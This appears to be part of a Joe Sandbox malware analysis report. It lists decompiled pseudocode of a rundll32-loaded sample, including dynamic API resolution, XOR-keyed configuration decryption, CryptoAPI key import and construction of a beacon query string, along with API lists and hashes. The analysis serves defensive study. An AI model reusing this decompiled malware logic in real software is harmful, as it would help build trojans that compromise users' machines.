                    • Part of subcall function 04781142: GetProcAddress.KERNEL32(00000000,?), ref: 0478119E
                    • Part of subcall function 04781142: GetProcAddress.KERNEL32(00000000,?), ref: 047811B4
                    • Part of subcall function 04781142: GetProcAddress.KERNEL32(00000000,?), ref: 047811CA
                    • Part of subcall function 04781142: GetProcAddress.KERNEL32(00000000,?), ref: 047811E0
                    • Part of subcall function 04781CEB: LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 04781D23
                    • Part of subcall function 0478170E: VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 04781747
                    • Part of subcall function 0478170E: VirtualProtect.KERNEL32(00000000,?,?,?), ref: 047817BC
                    • Part of subcall function 0478170E: GetLastError.KERNEL32 ref: 047817C2
                  • GetLastError.KERNEL32 ref: 047816E8
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$ErrorLastProtectVirtual$HandleLibraryLoadModule
                  • String ID:
                  • API String ID: 3135819546-0
                  • Opcode ID: 8f79181b1501cb39cbb8e922c865bb58be2c39c168cf2f6930cc9bde0d572481
                  • Instruction ID: 1ab5d583cb3e4c41d086d2d0c0b4cfd5926ed84b46613ddffca99c85d3cc715e
                  • Opcode Fuzzy Hash: 8f79181b1501cb39cbb8e922c865bb58be2c39c168cf2f6930cc9bde0d572481
                  • Instruction Fuzzy Hash: F3110836740711ABD721BEA98C84DAB77BDFF88214744412DE942E7300EEA0FD078790
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE33F1 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE33F1(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E04BE58BD(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x4bea2d8, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E04BE2839(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}








                  0x04be33f1
                  0x04be33f9
                  0x04be3410
                  0x04be342b
                  0x04be342f
                  0x04be3434
                  0x04be3436
                  0x04be3448
                  0x04be3454
                  0x04be3438
                  0x04be3438
                  0x04be343d
                  0x04be3442
                  0x04be3442
                  0x04be3436
                  0x04be345a
                  0x04be345e
                  0x04be345e
                  0x04be3405
                  0x04be340a
                  0x04be340e
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                    • Part of subcall function 04BE2839: SysFreeString.OLEAUT32(00000000), ref: 04BE289C
                  • HeapFree.KERNEL32(00000000,00000000,00000000,80000002,74D0F710,?,00000000,?,00000000,?,04BE528E,?,004F0053,05609218,00000000,?), ref: 04BE3454
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Free$HeapString
                  • String ID:
                  • API String ID: 3806048269-0
                  • Opcode ID: 409967364d989e5503eb61c9c9ab75f560c3dd8fcc2cd5b61f656bcf60cd9747
                  • Instruction ID: 1729e213b2ac8cda8348f3bb9bb261172a15113e612e1566549fd1cc53ab0838
                  • Opcode Fuzzy Hash: 409967364d989e5503eb61c9c9ab75f560c3dd8fcc2cd5b61f656bcf60cd9747
                  • Instruction Fuzzy Hash: 21014F32500519BBDB239F9ACC01FEA3BB9EF84750F048065FE059B120D731E961DB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5063 Relevance: 1.3, APIs: 1, Instructions: 36stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 75%
                  			E04BE5063(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t13;
				void* _t21;

				_t11 =  &_a4;
				_t21 = 0;
				__imp__( &_a8);
				_t13 = E04BE1508( &_a4 + 1, 1, _a8, _a4, _a4, _t11); // executed
				if(_t13 == 0) {
					_t21 = E04BE33DC(_a8 + _a8);
					if(_t21 != 0) {
						E04BE22EA(_a4, _t21, _t23);
					}
					E04BE61DA(_a4);
				}
				return _t21;
			}





                  0x04be506b
                  0x04be5072
                  0x04be5074
                  0x04be5083
                  0x04be508a
                  0x04be5099
                  0x04be509d
                  0x04be50a4
                  0x04be50a4
                  0x04be50ac
                  0x04be50b1
                  0x04be50b6

                  APIs
                  • lstrlen.KERNEL32(00000000,00000000,04BE3ECE,00000000,?,04BE66D9,00000000,04BE3ECE,?,7491C740,04BE3ECE,00000000,05609600), ref: 04BE5074
                    • Part of subcall function 04BE1508: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,04BE5088,00000001,04BE3ECE,00000000), ref: 04BE1540
                    • Part of subcall function 04BE1508: memcpy.NTDLL(04BE5088,04BE3ECE,00000010,?,?,?,04BE5088,00000001,04BE3ECE,00000000,?,04BE66D9,00000000,04BE3ECE,?,7491C740), ref: 04BE1559
                    • Part of subcall function 04BE1508: CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 04BE1582
                    • Part of subcall function 04BE1508: CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 04BE159A
                    • Part of subcall function 04BE1508: memcpy.NTDLL(00000000,7491C740,05609600,00000010), ref: 04BE15EC
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
                  • String ID:
                  • API String ID: 894908221-0
                  • Opcode ID: d501f68b6e6726d8941df46675acd23fb81ee6e1695b215995c22d042f4db682
                  • Instruction ID: c5b2ddc0739162711c2077fe7702be635a367071b70bd396edd37ca6c9848d30
                  • Opcode Fuzzy Hash: d501f68b6e6726d8941df46675acd23fb81ee6e1695b215995c22d042f4db682
                  • Instruction Fuzzy Hash: D6F0F476100109BBDF126FA6DC40DEA3BADEFC5365B408052FD19CA111DB71E95597A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5B0E Relevance: 1.3, APIs: 1, Instructions: 26stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE5B0E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E04BE46ED(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E04BE370C(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}




                  0x04be5b16
                  0x04be5b30
                  0x00000000
                  0x04be5b4c
                  0x04be5b27
                  0x04be5b2e
                  0x00000000
                  0x00000000
                  0x04be5b53

                  APIs
                  • lstrlenW.KERNEL32(?,?,?,04BE4E5D,3D04BE90,80000002,04BE6A76,04BE57D1,74666F53,4D4C4B48,04BE57D1,?,3D04BE90,80000002,04BE6A76,?), ref: 04BE5B33
                    • Part of subcall function 04BE370C: SysAllocString.OLEAUT32(04BE57D1), ref: 04BE3725
                    • Part of subcall function 04BE370C: SysFreeString.OLEAUT32(00000000), ref: 04BE3766
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFreelstrlen
                  • String ID:
                  • API String ID: 3808004451-0
                  • Opcode ID: 9eedffca7a3e61a2bdb67f9b4918b18debf83ab74a27d2362b9693a0d9e4d070
                  • Instruction ID: 7288866378130792e6187015c27db3750a5cb0dd433ac8537b1aec15acf6410d
                  • Opcode Fuzzy Hash: 9eedffca7a3e61a2bdb67f9b4918b18debf83ab74a27d2362b9693a0d9e4d070
                  • Instruction Fuzzy Hash: 7CF07F3200010EFFDF165F92DC05EAA3F6AEB58354F048055FA1459061D772E5B1EBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions

                  Function 04BE1D8A Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                  Download Yara Rule
                  C-Code - Quality: 93%
                  			E04BE1D8A(void* __ebx, int* __ecx, void* __edx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t116;
				void* _t119;
				intOrPtr _t122;

				_t119 = __esi;
				_t116 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x4bea344; // 0x43175ac3
				if(E04BE10F8( &_v8,  &_v12, _t28 ^ 0xa23f04a7) != 0 && _v12 >= 0x110) {
					 *0x4bea374 = _v8;
				}
				_t33 =  *0x4bea344; // 0x43175ac3
				if(E04BE10F8( &_v16,  &_v12, _t33 ^ 0x2bfce340) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x4bea344; // 0x43175ac3
				_push(_t116);
				if(E04BE10F8( &_v12,  &_v8, _t39 ^ 0xcca68722) == 0) {
					L67:
					HeapFree( *0x4bea2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x4bea344; // 0x43175ac3
						_t45 = E04BE36C5(_t104, _t102, _t98 ^ 0x523046bc);
					}
					_push(_t119);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x4bea2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x4bea344; // 0x43175ac3
						_t46 = E04BE36C5(_t104, _t102, _t94 ^ 0x0b3e0d40);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x4bea2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x4bea344; // 0x43175ac3
						_t47 = E04BE36C5(_t104, _t102, _t90 ^ 0x1b5903e6);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x4bea2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x4bea344; // 0x43175ac3
						_t48 = E04BE36C5(_t104, _t102, _t86 ^ 0x267c2349);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x4bea004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x4bea344; // 0x43175ac3
						_t49 = E04BE36C5(_t104, _t102, _t82 ^ 0x167db74c);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x4bea02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x4bea344; // 0x43175ac3
						_t50 = E04BE36C5(_t104, _t102, _t78 ^ 0x02ddbcae);
					}
					if(_t50 == 0) {
						L41:
						 *0x4bea2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x4bea344; // 0x43175ac3
								_t51 = E04BE36C5(_t104, _t102, _t75 ^ 0x0cbf33fd);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E04BE5B85(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E04BE607C();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x4bea344; // 0x43175ac3
								_t52 = E04BE36C5(_t104, _t102, _t70 ^ 0x93710135);
							}
							if(_t52 != 0 && E04BE5B85(0, _t52) != 0) {
								_t122 =  *0x4bea3cc; // 0x5609600
								E04BE5364(_t122 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x4bea344; // 0x43175ac3
								_t53 = E04BE36C5(_t104, _t102, _t65 ^ 0x175474b7);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x4bea348; // 0xa1d5a8
								_t22 = _t54 + 0x4beb5f3; // 0x616d692f
								 *0x4bea370 = _t22;
								goto L60;
							} else {
								_t64 = E04BE5B85(0, _t53);
								 *0x4bea370 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x4bea344; // 0x43175ac3
										_t56 = E04BE36C5(_t104, _t102, _t61 ^ 0xf8a29dde);
									}
									if(_t56 == 0) {
										_t57 =  *0x4bea348; // 0xa1d5a8
										_t23 = _t57 + 0x4beb899; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E04BE5B85(0, _t56);
									}
									 *0x4bea3e0 = _t58;
									HeapFree( *0x4bea2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                  0x04be1d8a
                  0x04be1d8a
                  0x04be1d8a
                  0x04be1d8a
                  0x04be1d8d
                  0x04be1daa
                  0x04be1db8
                  0x04be1db8
                  0x04be1dbd
                  0x04be1dd7
                  0x04be2045
                  0x04be204c
                  0x04be2050
                  0x04be2050
                  0x04be1ddd
                  0x04be1de2
                  0x04be1dfa
                  0x04be2032
                  0x04be203c
                  0x00000000
                  0x04be1e00
                  0x04be1e00
                  0x04be1e01
                  0x04be1e06
                  0x04be1e1c
                  0x04be1e08
                  0x04be1e08
                  0x04be1e15
                  0x04be1e15
                  0x04be1e1e
                  0x04be1e27
                  0x04be1e29
                  0x04be1e33
                  0x04be1e38
                  0x04be1e38
                  0x04be1e33
                  0x04be1e3f
                  0x04be1e55
                  0x04be1e41
                  0x04be1e41
                  0x04be1e4e
                  0x04be1e4e
                  0x04be1e59
                  0x04be1e5b
                  0x04be1e65
                  0x04be1e6a
                  0x04be1e6a
                  0x04be1e65
                  0x04be1e71
                  0x04be1e87
                  0x04be1e73
                  0x04be1e73
                  0x04be1e80
                  0x04be1e80
                  0x04be1e8b
                  0x04be1e8d
                  0x04be1e97
                  0x04be1e9c
                  0x04be1e9c
                  0x04be1e97
                  0x04be1ea3
                  0x04be1eb9
                  0x04be1ea5
                  0x04be1ea5
                  0x04be1eb2
                  0x04be1eb2
                  0x04be1ebd
                  0x04be1ebf
                  0x04be1ec9
                  0x04be1ece
                  0x04be1ece
                  0x04be1ec9
                  0x04be1ed5
                  0x04be1eeb
                  0x04be1ed7
                  0x04be1ed7
                  0x04be1ee4
                  0x04be1ee4
                  0x04be1eef
                  0x04be1ef1
                  0x04be1efb
                  0x04be1f00
                  0x04be1f00
                  0x04be1efb
                  0x04be1f07
                  0x04be1f1d
                  0x04be1f09
                  0x04be1f09
                  0x04be1f16
                  0x04be1f16
                  0x04be1f21
                  0x04be1f34
                  0x04be1f34
                  0x00000000
                  0x04be1f23
                  0x04be1f23
                  0x04be1f2d
                  0x00000000
                  0x04be1f3e
                  0x04be1f3e
                  0x04be1f40
                  0x04be1f56
                  0x04be1f42
                  0x04be1f42
                  0x04be1f4f
                  0x04be1f4f
                  0x04be1f5a
                  0x04be1f5c
                  0x04be1f5f
                  0x04be1f60
                  0x04be1f67
                  0x04be1f69
                  0x04be1f6a
                  0x04be1f6a
                  0x04be1f67
                  0x04be1f71
                  0x04be1f87
                  0x04be1f73
                  0x04be1f73
                  0x04be1f80
                  0x04be1f80
                  0x04be1f8b
                  0x04be1f99
                  0x04be1fa3
                  0x04be1fa3
                  0x04be1fab
                  0x04be1fc1
                  0x04be1fad
                  0x04be1fad
                  0x04be1fba
                  0x04be1fba
                  0x04be1fc5
                  0x04be1fd8
                  0x04be1fd8
                  0x04be1fdd
                  0x04be1fe3
                  0x00000000
                  0x04be1fc7
                  0x04be1fca
                  0x04be1fcf
                  0x04be1fd6
                  0x04be1fe8
                  0x04be1fea
                  0x04be2000
                  0x04be1fec
                  0x04be1fec
                  0x04be1ff9
                  0x04be1ff9
                  0x04be2004
                  0x04be2010
                  0x04be2015
                  0x04be2015
                  0x04be2006
                  0x04be2009
                  0x04be2009
                  0x04be2023
                  0x04be2028
                  0x04be202e
                  0x00000000
                  0x04be2031
                  0x00000000
                  0x04be1fd6
                  0x04be1fc5
                  0x04be1f2d
                  0x04be1f21

                  APIs
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04BEA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04BE1E2F
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04BEA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04BE1E61
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04BEA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04BE1E93
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04BEA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04BE1EC5
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04BEA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04BE1EF7
                  • StrToIntExA.SHLWAPI(00000000,00000000,?,04BEA00C,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?), ref: 04BE1F29
                  • HeapFree.KERNEL32(00000000,?,00000008,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 04BE2028
                  • HeapFree.KERNEL32(00000000,?,?,?,43175AC3,00000005,?,?,43175AC3,?,?,43175AC3,?,?), ref: 04BE203C
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 5ec316010c4884b1e04aca19e7ba8eac43a298e0436de574fd9dc901cfd131ac
                  • Instruction ID: b7f697ad8dc967f8459a3fbec0b0accf0e5eda448c046d5842e77fb0848a323a
                  • Opcode Fuzzy Hash: 5ec316010c4884b1e04aca19e7ba8eac43a298e0436de574fd9dc901cfd131ac
                  • Instruction Fuzzy Hash: 4C815B70A00104ABDB11EBBBCD84DBB76FDEBCC70473849A6A501DB245EB39F94497A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE2B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 76%
                  			E04BE2B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x4bea018; // 0xffd58d38
				asm("bswap eax");
				_t70 =  *0x4bea014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x4bea010; // 0xd8d2f808
				asm("bswap eax");
				_t72 =  *0x4bea00c; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x4bea348; // 0xa1d5a8
				_t3 = _t73 + 0x4beb5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x4bea02c,  *0x4bea004, _t68);
				_t76 = E04BE467F();
				_t77 =  *0x4bea348; // 0xa1d5a8
				_t4 = _t77 + 0x4beb575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x4bea348; // 0xa1d5a8
					_t8 = _t148 + 0x4beb508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x4bea348; // 0xa1d5a8
				_t10 = _t81 + 0x4beb89e; // 0x5608e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x4beb246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x4bea36c; // 0x56095b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x4bea348; // 0xa1d5a8
					_t16 = _t144 + 0x4beb8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E04BE472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x4bea348; // 0xa1d5a8
					_t19 = _t139 + 0x4beb8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x4bea2d8, 0, _a40);
				}
				_t87 = E04BE1340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x4bea348; // 0xa1d5a8
					_t23 = _t135 + 0x4beb8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x4bea2d8, 0, _a40);
				}
				_t166 =  *0x4bea3cc; // 0x5609600
				_t89 = E04BE6B59(0x4bea00a, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x4bea2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x4bea2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x4bea2d8, _t172, _a8);
						goto L30;
					}
					E04BE2915(GetTickCount());
					_t96 =  *0x4bea3cc; // 0x5609600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x4bea3cc; // 0x5609600
					__imp__(_t100 + 0x40);
					_t102 =  *0x4bea3cc; // 0x5609600
					_t168 = E04BE6675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x4bea2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x4be9280);
					_push(_t168);
					_t108 = E04BE7563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x4bea2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E04BE6536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E04BE63F6();
						L26:
						HeapFree( *0x4bea2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E04BE6F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E04BE597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E04BE61DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E04BE673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E04BE61DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                  0x04be2b91
                  0x04be2b91
                  0x04be2b95
                  0x04be2b9c
                  0x04be2ba6
                  0x04be2ba8
                  0x04be2ba8
                  0x04be2bb5
                  0x04be2bc0
                  0x04be2bc3
                  0x04be2bce
                  0x04be2bd1
                  0x04be2bd6
                  0x04be2bd9
                  0x04be2bde
                  0x04be2be1
                  0x04be2bed
                  0x04be2bfa
                  0x04be2bfc
                  0x04be2c02
                  0x04be2c07
                  0x04be2c12
                  0x04be2c14
                  0x04be2c17
                  0x04be2c1e
                  0x04be2c20
                  0x04be2c29
                  0x04be2c34
                  0x04be2c36
                  0x04be2c39
                  0x04be2c39
                  0x04be2c3b
                  0x04be2c40
                  0x04be2c40
                  0x04be2c48
                  0x04be2c4c
                  0x04be2c52
                  0x04be2c5d
